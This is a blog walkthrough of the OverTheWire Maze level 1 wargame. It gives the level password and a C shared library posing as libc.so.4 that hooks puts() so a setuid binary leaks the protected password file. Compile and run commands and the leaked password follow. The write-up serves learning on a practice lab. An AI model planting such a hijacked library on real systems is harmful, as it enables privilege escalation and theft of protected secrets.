Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Maze Level 0 → 1 tutorial!!

Login

Use the password from Level 0.

ssh maze1@maze.labs.overthewire.org -p 2225
# password: hashaachon

You’ll find the setuid binary here:

/maze/maze1

Running it directly shows:

/maze/maze1: error while loading shared libraries: ./libc.so.4:
cannot open shared object file: No such file or directory

Task

Exploit maze1 to leak the next password (/etc/maze_pass/maze2).

The binary is tiny; decompiled pseudo-code looks like:

int main(void){
  puts("Hello World!\n");
  return 0;
}

So the trick isn’t inside complex logic — it’s in how the binary loads its C library.


A little bit of Theory

maze1 is linked to a relative shared library named ./libc.so.4. That means if we place a file named libc.so.4 in the current working directory, the dynamic loader will resolve symbols (like puts) from our file first.

=> We can hook puts() by shipping a minimal shared object that:

  1. reads /etc/maze_pass/maze2,
  2. prints the password,
  3. then prints the original “Hello World!” message (or our own message).

This is similar in spirit to LD_PRELOAD, except the binary itself asks for ./libc.so.4.


Solution

  1. Write a fake libc.so.4 that implements puts():
// hookputs.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int puts(const char *message){
    FILE *fp;
    char buffer[64] = {0};

    fp = fopen("/etc/maze_pass/maze2", "r");
    if (fp){
        fread(buffer, 1, sizeof(buffer)-1, fp);
        fclose(fp);
        printf("The password is %s", buffer);
    } else {
        printf("Could not open password file\n");
    }

    // still print something so we see the program flow
    return printf("Hooked %s\n", message);
}
  1. Compile it as a 32-bit shared object named libc.so.4:
gcc -m32 -fPIC -c hookputs.c
ld -shared -m elf_i386 -o libc.so.4 hookputs.o

Tip: If -m32 isn’t available, try without it; the OTW toolchain usually supports 32-bit builds.

  1. Drop the library where you run the binary (e.g., /tmp) and execute:
cp libc.so.4 /tmp/
cd /tmp
/maze/maze1

Expected output:

The password is fooghihahr
Hooked Hello World!

That fooghihahr is the password for maze2


Troubleshooting

  • “cannot open shared object file” → ensure the file is named exactly libc.so.4 and you’re running /maze/maze1 from the directory that contains it (e.g., /tmp).
  • No 32-bit toolchain → try compiling without -m32.
  • Nothing printed → add debug printfs in puts() to confirm it runs; also verify the path /etc/maze_pass/maze2.

Congrats 🎉 You’ve hooked puts() and grabbed the password for maze2. Let’s move on!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with